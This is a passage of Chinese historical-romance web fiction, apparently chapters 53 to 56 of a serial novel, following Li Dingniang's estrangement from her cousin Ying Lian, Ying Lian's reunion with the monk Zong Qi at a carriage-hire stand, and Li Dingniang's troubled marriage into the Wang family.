郑氏面上讪讪，“已教经纪来看了，只这是多少千贯的大宗，又不是买米买肉，哪能一蹴而就呢？” 李定娘听着她分辩，也不答言，呷了茶，暗叹唇齿留香，却要与她纠缠这些俗臭之事，“我今日尚是李家女，家中花销无措，我自是要添补的；再过半月，嫁入王家，便是王家妇，没得一年十二个月，月月拿王家的钱填李家的窟窿。母亲若当我是女儿，便听我一句劝，各与舅舅们良田百亩，遣回家去，安分过活；家中经营整顿收拾，或可开源节流，重得生机。否则不出一二年，迟早典当家业，愧对祖宗。” 她这话哪里是劝诫母亲，分明把郑氏做后生一样训诫。饶是郑氏听惯了她刺言刺语，也颇有些下不来台，脸上一阵青一阵红，囫囵揭过，不欲再谈，索性把阿苽往她怀里塞，重拉开笑脸，道：“昨日阿苽不是说，已会背了《里仁篇》了么？来，背给姐姐听听！” 阿苽才五岁，平日里与李定娘又不大亲近，这会子被推出来，不愿开口，嘟着嘴觑姐姐脸色 ，教郑氏训了两句，才结结巴巴开口背起来。 好一会背完了，李定娘教女使拿来糖糕。阿苽得了糖，便喜起来，朝郑氏做了个鬼脸，一溜烟跑出门了。 这么一闹腾，白白失了小一晌午时间，到得日晚，又得开一次宴，请营生好的几家铺子里内掌柜开席，此日便再不得空闲去寻应怜。 转过天来，因上午又有事，李定娘特特起了个大早，仍带那一个最得用的女使，收拾了一堆物件，并一个鼓囊囊的小绣囊，里头塞满了金瓜子，赶着时辰去见应怜。 几回一去，早已轻车熟路，不过二刻，已到了应怜家门口。 自来家里闹闹哄哄，唯她这处幽闲静谧，教人艳羡。李定娘到了门前，心便宽松，不由便露出几分真心实意的笑，又怜她如今独自一人，还不知要如何冷落，便更有些愧对，上前正要叩门，那门却虚掩着，一推便开了。 却原来里头老梅树下牵着个驴，身上已驮了几个行囊，正悠悠地转来转去，嚼着落下的梅花。 李定娘正怪着，不知她收拾行囊是要去哪里，正环顾寻她身影，却依约听廊下传来琴声，仔细观瞧，才见被梅树半遮半掩后，应怜一身青灰淡雅，同心髻、浅红缯，漆金簪别薄罗巾，却是一副出门行路的打扮。 人还未见齐全，泠泠淙淙的音律已流泉也似传来，正是那凤尾落霞琴。 李定娘便想起曾与她共学琴的旧事来。 那时应怜尚幼，她自诩大几岁，多学了几年琴，先生不在时，便来教导应怜。却没料应怜于音律一道上天资比她高，才学了一二年，便已盖过了她，颇得先生夸赞。 那时也还暗暗嫉妒过的，如今想来，也甚有意思，为着与她暗中较劲，她私下费了多少心思在这琴上头，到头来才醒悟，做抚琴人多累，不如就做听琴人，听应怜抚琴，岂不赏心乐事。 前些日子来去仓促，正没大好时候听她抚琴，也不知她造诣如何了。 立了一阵，女使似要开口询问，却被李定娘摆手拦住，摇了摇头，仍倚墙而立，听那琴声。 应怜久未抬头，也不知瞧见了她们没有，只是琴声顿了顿，原是清音雅律，再一流出，那泉却成了泪，多了一缕冷凉的幽悲。 女使不敢出声，只觑李定娘的脸色，由放松转而发怔，渐渐却白了。 琴音变徵，沉郁悲凉，忽而听她开口，却垂首向琴，仿佛对琴所诉： “当初你恼我学琴藏私，不肯与你说这道艺，说要与我割席。我问你，什么是割席？你便与我说割席断义的故事。你教我，道不同不相为谋，便是割席断义。 “我那个姐姐，她聪明、好看、有胆识。她心中有仁有义，明是非过错。她教我一草一木、一虫一鸟，皆是生灵，不可轻易毁伤。我们虽长久离分，但我一直想，她仍是她，她不会变。 “如今我方知，世上哪有不会变的人。祝娘子之事，你有你的苦衷，我不敢轻断是非。但你有你的道，我有我的道，道不同，强拧在一起，彼此都伤情分。 “故我今日辞去，山高水长，不复再见。望你……珍重此身，安康，喜乐。” 一个梅下，一个墙边，果真他年相对，一个成了抚琴人，一个成了听琴人。只是琴意再难续，亲缘一朝成绳索断。李定娘手扶墙垣，张口又闭上，一句话也说不出，心中不知是委屈是恼怒，眼底渐渐浮上了泪，又狠狠压下，听她琴声幽幽，断续凝绝，一时气苦，几乎脱口而出：你既知我有苦衷，为何还来逼迫于我？为着个外人，要与我断绝姊妹情分，你做得清高人，是我自甘下。贱！ 然多少话，终随着泪意压了回去。她攥得手心发白，再不想听那琴，不发一言，转身决绝而去。 女使紧随其后，打帘侍奉登车，也坐于一角，听她冷言命车夫回家，噤若寒蝉。 只是半晌，她阖目坐于车内，忽又想起什么，又叫停了车，把那佩囊解下，把与女使道：“你快去找几人暗处盯住了她，若她要走，切需护她稳妥，有事随时来报。” 女使正替她微鸣不平，却见李定娘柳眉一竖，催道：“快去！” 她不敢逆主人意，只得匆匆地下车去了。 第54章 第54章山重水阔有期日，碧落黄…… 那琴应怜终究没带走，于案上生尘，以待后人。 原待送出给李定娘的信，如今没必要再递，索性也烧了了事。 人走后，应怜发了会呆，望庭院里拳石堆雪、老梅寒幽，再不可多得的闲谧，只是今日一并要留在此，送她离去。 那驴倒有闲暇心，甚而几分懒惰，应怜来牵时，还嚼着一支梅花，磨磨蹭蹭地不愿走。它身上挂着大小行囊，后头竹篓里住着惯养的一只河蚌；她又亲捧了一钵水仙，就这么出了门，最后望上一眼，落锁时，听那咔哒一响，仿佛心底某些旧事旧情，一并随门户被阖上，埋藏下去。 此后，她这一人，世上又少了一牵挂。四处茫茫一片，她便沿着唯一深黑的小路，向外而去。 若到了代州，寻着宗契最好；寻不着，她也可用所剩的钱财，试着经营些生计。总之那处谁也不识得自己，她尽可姓张姓王，全凭心意。 应怜打定了主意，走了几步，又停下，从行囊里摸出他那封厚厚的信，翻到某页，寻见一处：【赁马日费一百四十钱，牛九十钱，驴五十钱。若马车、牛车，价倍，车夫另计。】 她肚里有了谱，一路向城北而行，盘算起该怎样赁车来。 一人一驴，都不是好脚力，走不多快；好在天色尚早，走走停停，近日午时分，也就到了城门。 城外便有车马行的赁点，最是便利。她戴好帷帽，过了城门，走不到百步，便瞧见马厩牛棚、车轿车夫，一排排好大阵仗。 应怜将那话打了好几遍腹稿，想定了，便上前询问：“伙计，这马车怎样赁？” 对面人上下一打量她，“要赁劲马、庸马或是驽马？车要华盖车、油壁车或平头车？车夫要二十年资、十年资或五年资？走近路或远路？牙道或山道？辎重几何？人口几个？” 这一连串，教应怜瞬间傻了眼，什么腹稿也对不上了。 “劲马、华盖车、二十年资车夫、远路，只我一人一驴，走牙道去代州，如何算价？”她问。 那人依她的话，案上摆布算筹，算了一遍；又换了算盘，再算一遍，合计出价，道：“从此向北三百里，到得徐州，可换马匹脚力；拟合两日功夫，共计一贯又七百六十钱。” “哪至于这么多！”应怜吓了一跳，还以为一日三百钱尽够了，又问，“这价钱是怎样算的？赁马一日也不过一百四十钱而已！” 伙计便道：“那是庸马在城中一日的费用。小娘子去代州，一路山长水远，颇伤脚力，哪里能比！” 说着算盘拨了一通，道劲马日费二百二 十钱、华盖车二百钱、二十年资车夫四百钱，又折损脚力算作六十钱，两日下来，可不得小两贯；又铺开南北舆图在案上——虽比不得官家舆图精细，却各州府水陆地界颇为分明——教应怜来看，从扬州比划到代州，两三千里路程迢迢，一贯多钱只是起始而已。 应怜一眼扫去，果真如此，正盘算间，忽瞧见个地方，“咦”了一声，指着那地儿问：“这里是泗州？” 伙计看一眼，便答：“是，多有人从此处赴京。小娘子你去代州，不打这儿经过的。” 应怜腹中生了些疑惑，想起前日里范碧云说的分明，她从泗州而归，当时没觉着，这会瞧舆图，便看出些古怪来。 往代州需北行，泗州却在扬州以西，她去西面作什么？难道走错了道儿？ …… 去路迟缓，归路却嫌太慢。 宗契的马跑了一日夜，四蹄汗流，苦累不堪，终在这日清晨，遥遥瞧见了偌大州城。那马跑不快，他只得放缓下来，吹面寒风迎人呼号，将他发热的脑子一并也凉了下去。 可笑要走的也是他，要来的也是他。若是应怜见了，不知是否要笑他心无定性。 身前原有两条路——山寺为清静；扬州里却有她。 他既已选了一条，便一条道走到黑，不到山穷水尽，再无回头的了。 只是他这份心思浅陋，连自己也不齿，怎好让她晓得，没得被误作挟恩索要，冷了她一番赤诚之意，又教她为世人耻笑。 哪怕不能怎样，在她身边，远远瞧着也好。 脚下牙道宽直，对面水环城郭，城外渐有人家，睁眼已为生计奔波。千丈红尘，他从前只道是樊笼，如今一朝踏入，竟乐不思蜀，不愿回头。 眼见着愈发地近，宗契心境波澜迭覆，事到临头，却奇异般平静下来，剔除万千杂念，心中唯一个念头。 ——无论天南海北，再不丢开她了。 日上三竿，进城人多、出城人少，多与他一道，挑担的、挑水的、挑柴的，甚而彼此识得的，相互招呼，齐入城去。又有那宿夜而来的，到城门口附近交还赁下的车马。 宗契牵着缰绳，晓得贪赶路程，累坏了马，颇有些愧疚，拍了拍马脖子，也到那处交还。 只是拐过一排停歇的油壁车，却见着个青灰简素的人影，一顶帷帽隔了里外，从帷帽下，正传出清脆的声儿来，不甚老练地与人讨价还价。 “庸马脚力平平，怎么却也要一百五十钱？况那车夫，二十年与十年差在何处……你道老马价低，怎的人愈老却愈贵呢？” “小娘子这话岂不是胡搅蛮缠？人和畜生哪能比呢，二十年资历的老车夫，附近州城府县他都熟识的，一应吃住，尽交他打点，再稳妥不过！”马车前伙计掰扯道。 “只是你、你这价儿也太高！”帷帽下声音愈急，却不知该怎样讨还，干巴巴道，“若是牛车，你总该再少要些，牛又跑不开，怎么还费脚力呢……” …… 只可惜戴了帷帽。宗契想，否则掀开那薄纱，想是那一张脸都要急红了。 不知为何，扰扰人群之中，他竟听见了自己心跳，寒气化在唇边，成了温暖的白雾，笼着他唇边笑意，与心头流泻出的欢喜。 那钵中水仙不知何时，已悄悄绽开了，清雅莹秀，小巧点缀在一丛绿意里，像极了她素常与他说话的样子，惹人怜又惹人爱。她与人争辩时，那小小的白花儿便颤颤的，散开一缕幽幽的香，也像她。 日夜行来时心里那股火气瞬间消散，再没了什么忧思忧恐，宗契松缓下来，反倒从容了，便抱着手臂在一旁听。 那头伙计一意催促，“咱家车马行从不亏人，小娘子真心要赁车，可得从速，眼见着这时候出城人多了，车马一会儿也要赁完了！” “我……”她捧着水仙，仿佛有些无措，四面来来往往的人里张望了一霎，寻什么主意似的。 恰此时有伙计忙完手头事，来迎宗契，接他手里的辔子，“师父来交还赁马么？我瞧瞧……哟！这马怎么都累趴下了！您也忒不爱惜脚力！” “对不住，我急着进城，跑快了些。”他答话，目光却向着应怜。 钵里水仙猛地一颤，是她不可置信回头，隔了帷帽瞧不真切，急急掀开薄纱，眼眸睁得大大的，定定地怔住。 果是一张红红的脸，方才争辩时染的一二分急躁，如今一点一点，褪在面上，却积在眼底，眸光闪闪，泪意涌动的倒影里，人来人去，还只有他高大的身影定立不走。 应怜张口却又闭上，一时陡然失了言语，脸又更红了，真恍如过了一场大梦，心心念念要寻一人，如今醒来，才惊觉他一直在身边，从未离过。 她牵着驴，驴上载了满满的行囊。宗契瞧了，“嚯”一声，问道：“小娘子满副家当，这是要去哪？” “……你呢？你又是要去哪？”应怜强压心中悲喜，泪却在眼眶里打滚。 宗契道：“我去扬州，寻人。” 她却道：“我去代州，也寻人。” 宗契怔愣片刻，笑了起来，格外地飒朗，眸中染上了暖意。 应怜却再克制不住，捧着水仙，掀着帷帽，一晌顾不得行人讶异，只把一腔悲喜尽在他跟前抖落开，大哭起来。 山重水复，柳暗花明。原道他已走得太远，她再找不见的；却没想她还没走，他却又寻回来了。 许是她哭得实在太厉害，引得人纷纷驻足去望。宗契顶着一堆或看戏或奇异的目光，递了帕子，又牵了她的驴，一面温声哄她，一面背了行人，带她而去。 应怜哭够了，心里爽快许多，却还有些抽噎，攥着他衣袖问：“你、你不走了？” “不走了，”他哭笑不得，眼瞥着几个尾随她的暗处人影，叹了声，“是我思虑不周，你一女娘孤身独居，总不稳妥。我……再看你一程吧。” 她敏锐捉住其中字眼，吸了吸鼻子，泪眼汪汪瞧来，“‘一程’？到哪里为止？” 宗契教她问得语塞，哪里晓得要到哪一程，窘迫来胡乱扯了个由头，却是他心事，“……到你嫁人吧。” 说罢不止她愣，自己也愣住半晌。 又不知戳中了她哪一点痛处。应怜发怔过后，却像被踩了尾巴的猫儿似的，怒了起来：“我不嫁人！我再不嫁了！你便看我到老、到死吧！” 气势汹涌，说罢了却面红耳赤，狠狠一下薄纱，将半身遮在帷帽里了，又瞪了他一眼，也不知他瞧不瞧得见。 她心里不舒服，却也不知为何发恼，只当宗契故意取笑，明知她底细，哪里还嫁得出去，却偏要来戳她这一节。 可也自知朝他撒邪火浑没由头，暗怪自己，见不着面要去寻他，如今他在眼前了，怎么又使小性儿；怕他一激之下又走了，心里慌张起来，只是拉不下面子立马又温言软语，没奈何，只得悄悄伸出手，攥住了他衣袖一截。 她再不撒手，攥的却不是他衣袖，是他的心。 宗契被她攥得，心软得一塌糊涂，想她那两三句抢白，竟不是气，浑如裹了蜜糖一般，要给他些甜头。 那贪恋心思全不受制，在他心底膨胀得不像话，一戳便全要泄露。他怔怔盯着她帷幕下娴美绰约，半晌别过眼，面上虽仍平静，内里却早已丢盔弃甲似的狼狈。 “好好好，不嫁。”他笑了笑，收拾得平常心，又像在哄她，“到哪一程，你说了算。你教走，我再走，总行了吧？” 三绕两绕，那头把人跟丢了，硬着头皮回来报，教领头的大骂了一通废物。 领头的却正是顺泰标行的张团练。 “你们四个，盯她一个！那还是个竹竿儿瘦的女娘！”张团练将人骂了个狗血喷头，还得亲自骑了快马去城外瞧，出门时真气不过，“这都能跟丢，你们怎么不把自个儿也丢了，倒还能回来与我胡咧咧！” “若只她一个，咱万也丢不得的；只那和尚心眼子忒多，仿佛瞧着咱们尾随，也不见怎么走，连人带驴，方才还在前头，拐过一弯就不见了，真见了鬼了……”下头还嘟嘟哝哝。 张团练接了盯梢的差使，如今把人跟丢了，便是砸自家的招牌；火气再大，也只得回头再罚，这会子匆匆带人骑去城北门外，见那处空落落立着几个自家兄弟，下了马，前后一对，大眼瞪小眼没辙，怕耽搁功夫，暂且先派人知会李娘子一声 ，这头再想法子。 几人停在城外不远，正烦恼间，恰逢一穿戴齐整又秀致的女娘经过，到得对面赁车马的棚子处，张望一回，与人说话。 张团练眼光不由跟上，打量一番，又不是应娘子，只得认倒霉。正收回目光，忽听那女娘问人：“方才那两个赁了马车走的人，是往何处去了？” “这哪里记得。”伙计头也没抬。 她却又递去一把钱。 这一下伙计便抬了头，殷勤笑了一声，先收下钱，再问：“哪两个？” “就前头走的一和尚与那女娘。和尚器宇轩昂，那女娘也生得好看。”她道。 张团练耳尖，一下便支棱起来，听他二人说话。 伙计“啊”了一声，连道记得，“那娘子本待要往代州去，和尚来了，与她一道，又折去江宁府了。” 那头没如何，这头里张团练蹲在路边，一拍大腿，听罢了，训那几个兄弟道：“瞧瞧人家女娘，就比你们机灵，你们寻不着人，没嘴不会问么！这不问出来了！” 当下候人走了，亲自又到那赁车马的伙计处，详问了情由，亲自去一趟李宅，询问下一步如何，可还要跟去。 李家娘子不亲自来说话，着女使中间通传，一会儿，出来细问：“那和尚样貌年龄如何？他二人见了，可有说话？” 张团练便将那应娘子如何如何讨价还价、又如何如何大哭，二人简略言语等等，都说与女使。 一番等候，女使再出来，付讫了银钱，带来李娘子话：“不用跟了，她跟着他，必吃不了亏的。我晓得她好就行。” 张团练得人钱财，又没堕了镖行名声，自是喜气洋洋地去了。 女使回头来报时，李定娘仍在家中西园僻静处一角，独自烧些纸钱，两旁更没一人伺候；见人来了，也不抬头，只专心瞧那一张张烧尽了在铜盆里，听罢她话，挥挥手，“行了，你去吧。” 她与谁烧纸，女使不敢多问，深知素日自家娘子管待下人严苛，乖觉闭嘴不言，退下了。 李定娘一张一张、仔仔细细将纸马等物烧了，看盆里明明灭灭，沉默到此时，想了想，终与他说几句话：“我知没到你祭日，只过些天是我成亲正日子，不好祭你，冲散了喜气，故今日便烧些纸马与你。” “你从前嫌我这嫌我那，我到如今也不知你为何总看我不顺眼，想是我非你家人，却又占了姨母疼爱，你嫉妒我罢了。如今你们在地下，我再不能与你争了，你且偷乐吧。” “惜奴来过我这儿，她很好，你放心。她是你妹妹，也是我妹妹。不怕你笑，我曾也想过，咱们亲上加亲，她又是我表妹、又是我小姑，真成一家人家，该有多美。只是你太讨人嫌，又总气我，我便不想了。” “真没想到，有朝一日，你我竟会阴阳相隔。我知你冤屈，你这人最是纨绔，怎么可能鼓动太子谋逆，不过是有人要除尽你家，坑了你一把。我有心替你家鸣不平，却身为女流，人微言轻，有心无力而已。若他年能得些青云，再来与你家诉屈罢了。” 这僻静处无风也无声，或有幽鬼来争血食，但冥界事，她阳间人怎得知，无非念一念他而已。 这份心思藏得太深，非但她爹不知、姨母不知、应怜不知，连她自己也快要淡忘了。 只是如今蹉跎，物是人非，想到他生前锦衣怒马、恣意风流的少年模样，心有慨叹而已。 眼见着纸灰烧尽，她直起身，拍了拍手上衣上浮灰，思量还有什么未竟的言语，因又想到应怜，便道：“你家如今只剩她一个，她小小年纪，命途多舛，好在她有韧性，挺过这一遭，又得了人护佑。你若还不放心，便泉下多保佑她，与那宗契和尚好好儿的。他二人的缘分，可比那元家四郎深厚。” 念叨完了，再无可说，想来便是他一个大活人在面前，她也再无别的话了，因此与他作别，无泪也无悲，“你在地下，多孝顺爹娘，来生再投个好人家。应栖，我走了。” 幽魂不语，日色渐杳，唯阴霾冷落，浅薄残照不到西园僻落处，更是寂寥。 第55章 第55章才逐飘萍萍已去，空得落…… 亲迎定在二月初六。 说是仓促从简，实则自他家草帖子来至今，也已有半年。如今喜事花盛，阖家上下人各自喜气洋洋，忙着成礼之事。 李定娘反倒成了最平淡的那个，更没些未嫁女的羞涩，从容得仿佛她才是那个三婚头的人。 流日如水，雪落了又停、停了又散。挨到二月初三，王家按俗送来催妆的销金团花罗盖头、点翠鎏金垂肩冠、鸾凤穿花金帔坠及各样妆粉，已是极工巧华丽的了，却搁置不用，只因年前婚事呈报朝中，官家谕旨特封了广陵县主，赐凤冠霞帔，以示恩宠仍续。 初五，郑氏带一应女眷前去王家铺房，李定娘自不能去，便守在家中，如平常一样过。 不想刚过日午，阿苽不见了母亲管束，也不要午睡，满园子乱跑，跟着家中张红挂绿彩绸幔子，竟来到李定娘这院儿。乳母制不住，千哄万哄道：“小祖宗，快回去，教县主见了，又要罚你！” “县主是什么？”阿苽停下来，嫩生生地问。 乳母笑起来：“县主就是你姐姐呀！” 说曹操曹操到，那头李定娘已听着动静出来，一眼瞧见撒欢往湖石孔窍里钻的阿苽，面色淡淡：“出来。” 说来也怪，阿苽天不怕地不怕，连老爹都不怕，唯独怕这个同父异母的姐姐。一会儿，灰头土脸地从里头磨蹭了出来。 李定娘也不责怪他，只吩咐乳母：“带他回屋午觉，若睡不好，今日不许他吃糖。” 乳母讪讪，抱起阿苽，就要回转。阿苽噘着嘴，半躲在乳母怀里，只露出一双清澈的小眼睛，望向李定娘，“你要嫁人了吗？” 李定娘闻言，回身脚步一顿，点点头，“嗯。” “嫁了后，你就不在家了吗？”阿苽又问。 “是。” 五岁的小娃娃笑了起来，待到了院门口，趴在乳母肩上，冲姐姐做了个鬼脸，“你快嫁人吧，我不喜欢你！” 乳母慌得忙来告罪，李定娘摆摆手，半真半假嗤笑一声，“我也不喜欢你，快去睡，否则没糖吃。” 她说罢，也不瞧阿苽哭丧的脸，自个儿回屋了。 只是听院墙外蓦地冲天娃娃哭声，她忽心有所感，不由摸向肚腹，那里平坦光滑，腰肢纤美。 那里面，曾也有过一个孽胎，若当年没落掉，算来也就如阿苽那般大吧。 她微怔了怔，转而将这厌恶的念头从脑中摒除，自回屋午睡去了。 亲迎一切吉利顺意，只是洞房里出了点小岔子。 她差点把王渡踢翻下床，新郎官腰上被踹出个青紫印子，还没怎么着，她自己却伏床干呕起来。 王渡面上不好看，却忍耐着哄劝，折腾着勉强圆了房。 从此便做了王家妇。 新婚三日回门，王渡自是温柔款款，面上尽是对妻子的喜爱，带了成车的好礼，携李定娘归家。 本道只是寻常一日，却不意迎来了个不速之客。 那人在花厅正坐，昭昭毓毓，如芝兰生玉树，盈得满室芬芳；见了她，端放下手中莲花银盏，一双眼眸遥遥望来，如明镜冰雪，光彩自生。 此座上曾奉满堂嘉客，竟无一个比得上眼前少年郎。 他身后立着个伶俐的小厮，一见了李定娘，面上一喜，却忍了下来，礼数上丝毫不缺。 “元四郎！？”李定娘惊讶起来。 当真是元羲，只是比记忆中出挑了一大截。 记得五年前方离京时，他还是个不大的小子，远没如今这样高挑。如今筋骨长开了，容貌却又出脱得这般华美，当真神仙一般俊品。 元羲趋步而来，先行一礼，寒暄了几句；猴儿似的元平也亲亲热热过了来，给几人做了一圈揖，嘴甜得抹了蜜似的。 一番话下来，才入正题。王渡眼明心亮，不待她开口，便已要去再拜老泰山，留下二人说话。 他走后，李定娘才又细细打量元羲。方才一眼扫来没察觉，这一会才发现，他一身苍青衣袍窄袖圆领，足蹬乌皮靴，鞋履沾了雪尘湿迹；玉样的人，却又瘦了些，失了几分丰润，多出些凌厉来，遮掩了憔悴，显是风尘仆仆，多少时日未曾安逸过。 知他有话说，李定娘又遣走了下人，只 留一个元平。 果然，待她坐定，元羲立于跟前，重又施了一大礼。 “你这是作甚？”她问。 元羲定定然瞧着她，眸中有些她说不上来的执意光彩，先开口道：“阿姊，我为惜奴而来。” 李定娘好一会没说话，目光逡巡在他脸上，半晌，叹息道：“惜奴？她不是早已死了么？” 元羲不惊不怒，反笑了起来。 “阿姊何必明知故问？她死生如何，难道你竟不知？我此番南下来寻她，既到了你这里，必定是闻风而来，阿姊难道信不过我？”他道。 闻什么风，李定娘不晓得；但看他灼灼眼色，似乎当真从哪里听得一言半语。她久久观瞧他，腹内存着的却又是一般心事。 元家是怎样的高门大户，她自然再清楚不过。从前人人见了他与应怜，都要赞一声“门当户对”；可如今，应怜再拿什么与他成配？他自有一腔情意，可他家呢？ “你此来扬州寻她，你家可知情？”李定娘道。 元羲微微僵住，片刻才答：“……不知。” “你如此笃定她没死，还来我家寻人，想必是听说了什么。这一路来，你可曾为她想好后路？”她又问。 元羲目中闪烁，这一回沉默得久了些，连元平在后头也跟着抓耳挠腮地急。半晌，他如实回答：“她是我发妻，我家儿妇，我的路便是她的路，谈何后路？” 李定娘便明白了。 “六礼未俱，她尚不是你妻。你们本也不是一条路。”她道，“你在京中，想必比我清楚，她家犯下的是什么样罪。莫说她死了，纵是没死，也早已充籍，你难道还能娶她做妇么？” 两下里僵持下来。 元平急不过，半打圆场、半提点道：“这且后说。四郎来时已与我说过多少回了，先保得人没事；只要人活着，哪里怕什么前路难行呢！” 这一句果真引得人意动。元羲如梦方醒，顺着将话说下去：“阿姊，我不求更多，唯愿得知她此身尚存，阿姊纵不怜我，也怜她孤身无依，难道我还能害她不成！” 李定娘长叹了一声，唯有苦笑。 元平见她松动，又使眼色与元羲。元羲自来也没求过那许多好话，今日一番说得口干舌焦，就差没给李定娘跪下磕头。也不知多少功夫，李定娘摆了摆手，不教再说，道：“行了，你这样求，倒显得我不近人情，多大的恶人似的。你听好了，没什么应怜到我家来；不过，我前些日子，的确曾见一女子，肖似于她，却不是独身一人，而与一僧人同来。我因勾起旧事，赠了些钱财与她，她又与人走了。这话我只说一次，你可明白？” 这一下，不止元羲愣住，连元平也张口结舌起来。 “僧人？”元平多嘴，快言快语先问，“哪里来的僧人？这、这岂不……”坏了她的名声。 李定娘挑挑眉，有些讽意，“我不过将所见道来，怎么，元四郎，你便如遭大辱？那若我告诉你，他们逗留此间数日，同吃同住，日夜于一个屋檐下，关门度日……” “娘子自重！”元羲猛出言打断，紧盯着她的目中露出几分怒意，半晌咬牙道，“娘子也该为她着想，怎能出此谬言！” 一晌宾主冷场。李定娘冷笑，才为他千里南下寻人积起的好感，顷刻土崩瓦解，起身端茶，道：“你慌什么。我哪里有说她？我不过说了个形貌相似之人而已。你这一说，我便懂了，你要找的不是应怜，是一个‘冰清玉洁’的应怜，那对不住，你自去别处再找吧。” 她呷了口茶，拂袖而出，门口与女使道：“送客。” 外头大好青天白日，只是风咋咋呼呼，冷落贯入花厅，冷不防将人冻得一激灵，将元羲催得转醒了过来。 “四郎也该收收直脾气，好歹再问两句呢！如今倒好，好容易得了消息，又没个准信儿！” 元平搓着手，来来回回跺脚取暖，在偌大的王家角门一带墙外来回地走，一边又抱怨。 只是这话只敢自己嘀咕嘀咕，四郎如今正在火气头上，他才不敢去碰一鼻子灰。 走了几个来回，只是见元羲怔怔立在墙下，任那冷风掀动衣角，又吹去他面上最后一丝血色，直如落难的谪仙人，一晌便要化作冰雪，独自消零。 元平踱近他时，他才如从一个深梦中惊转醒，长出了一口气，目中却有迷惘之色，拉住元平，没头没脑地问了句：“你说，她一路辗转飘零，到这扬州，一定吃了不少苦头吧？” “您……”元平不知他意指何处，只得结结巴巴宽慰，“您别多想，您寻着她，她不就苦尽甘来了！” 不知是他的话有用，还是元羲想到了别的什么，攥紧的拳缓缓松开，惨然一笑，半晌摇头自言自语，“我不该那样想她。是我不该……是我不该……” 骑来的两匹马如今都牵在元平手中，俱是百里挑一的沈骏，一路风驰电掣随着南下，也消瘦了许多。元平正想劝四郎上马，缓缓再图，忽也不知从哪里拐角，却闪出个人影，轻敏伶俐，左右望见无人，暗暗向元平招手。 元平定睛一瞧，竟是个再秀气不过的丫头，眉眼纯澈灵动，又一劲儿招呼自己，有些莫名，便过了去。 “你们是来寻人的？”甫一进角落，便听那小女娘开口，“是一个姓应的娘子？” “你又是谁！”元平吓了一跳，当下警惕起来。 不想她却道：“我方才见你几个来回自言自语，全听着了。我姓范，唤作碧云，我晓得你们要找的人在哪。不过，我有个条件——元郎君从此去哪儿，需得带着我。” 元平更惊奇，“你认得我家郎君？” “怎么不认得？”范碧云眼儿往芝兰玉树般的元羲身上住了一住，便将那翩然惊鸿的身影从眸里住进心里，抿着嘴微微一笑，“元家四郎，美名盖满洛京，谁又不知呢？” 她自去年头上，家中变故至今，一路霉运连连，如今看来，果真是流年不利、犯了太岁；如今转过一年，时来运转，果真有了好事。 她在王家门口迟疑徘徊些日，想着兴许等得到应怜回来；不料没等着应怜，却等着了一个再想不到的人。她在家时，自来听得满耳朵都是元羲的才俊人品。 潘安宋玉，俱已化作尘土；如今眼前那人，便再无人可比，当真是天上谪仙、庭中玉树，教人惊鸿一瞥，便生心折。 第56章 第56章树底猢狲潜逃散，云上大…… 新春新喜，王渡却没个闲时，到二月中，凭茶引购得的新茶已至州城附近铺面，需得亲自去看过一回，便三五日地不在家。 他不在，婆母冯氏便开始作妖，新妇几日，便要与一个下马威：晨昏定省嫌不够，一日三餐教李定娘只站着侍立，端汤盛饭，一应皆不用女使，指使她做来；凡一处不合心意，便拉了脸来指指点点，还得教人跪着，面上恭恭敬敬地听。 头先二日，李定娘尚忍耐得，到第三日，便不干了，推辞身子不爽利，再不肯到主院去。冯氏捉着把柄，便要发作，不想却教一纸谕令堵了嘴。 “县主近日贵体不适，不能侍奉大人在侧，望乞慈恩宽容。”来传话的女使神色庄重，读罢一遍谕旨，又道，“凡乾坤纲常事，先国后家、先君后亲。 然县主以孝悌为重，念大人年老体迈，便无需日日来拜见了。” 冯氏气得鼻子都歪了，怒来说话，震得水晶冠上金簪都颤，“她不来与我晨昏定省，反教我来拜她！？” 然谕旨与天齐，没奈何，刚入门的新妇有敕封的头衔作靠山，冯氏还真拿她没办法，只得日日暗教人盯着，只要拿她一短处，便能发难。 恰巧这日机会送上门来。有人悄悄来报：“李氏正于偏园子里，会一外男，把咱家的下人都屏退了！” 冯氏既怒且暗喜，忙不迭地整装，带一干人，气势汹汹地去拿奸。 李定娘怎知那处暗中盯着，此时只携了心腹的女使，在偏园子一小亭里，与人坐着说话。 对面是一孙姓书生，名作公许，因姐姐在王家做事，年前来投奔，交了一样再要紧不过的物件与王渡，从此便在附近安住下来；不知怎么，今日听到些风声，却等不及与王渡分说，竟向她来辞行。 “我年前因何在家待不下去，主母尽知了，还不是教那些修堤的糟烂事逼的！如今听闻本州中罢了征夫修堤，却又改成水利田税，比往年又加收三成，且催逼得紧，竟开春便要征上来，说什么‘拿这钱去雇人力修堤’！开春的钱粮皆是留待买青苗下种的，如今征上去了，各家拿什么耕种？”孙公许说到气愤处，真咬牙切齿，又有满心的忧惧，“我因避祸而来，眼见着这扬州也要闹出祸乱，不走更待何时？故今日万留不得，向主母辞行！” 李定娘哪能就放他走，他若走了，那账簿物证岂不少了人证？ 便千留万留，见孙公许只是不应，只得又想法子，退一步道：“我闻你家尚有祖母，这样，我家城外尚有一处田宅，常年空置，先生便暂栖身那处，也好奉养祖母，不教奔波劳累；田宅不在城中，万一城内生变，也好速行。” 孙公许见她百般诚意，又话到这份上，只得且听她一回，一揖手，承了她美意。 冯氏便在这时，风风火火闯了偏园来，见了二人，眼内喷火，带人便打。万幸家中人力里头，有一个身强力壮的，恰是孙公许的姐夫，这才将小舅子保下来，又是治伤、又是谢罪，闹了好一场乱乱哄哄，才揭过了。 冯氏不认自个儿的错，却从此认李定娘是个搅家精，比从前那祝兰还要不好相与的，日日鼻子不是鼻子、眼不是眼，心心念念盼儿子归家，好诉诉苦。 五六日，王渡归家，刚至门口，便被母亲截去，听了一耳朵家务事；晚来到东院，才得见李定娘一面，与她说话。 李定娘先将孙公许之事说了，道已将人稳住；又问那水利田税事。王渡应了，道：“如今上官皆是二三年前才到任，急着做一番功绩，又见年前镇江毁堤，民怨甚重，也不知怎么想出这馊主意，不发征夫修堤，却改征赋税。” 他见李定娘心有戚戚，又道：“我正要问你些事。从前只晓得你家与六殿下是表亲，却不知你们关系如何？” 如今二月末，正是冬已除尽，却逢倒春寒的时候，夜来天又寒凉，故李定娘褪了外头褙子，仍穿着贴衣的小袄，正将簪环一并除下，闻言顿了顿，回头望来，“我爹与故潘淑妃是表兄妹，我与六殿下是表亲里的表亲，还能有甚关系？不过见面点一点头，说几句话罢了。怎么你却要问这个？” 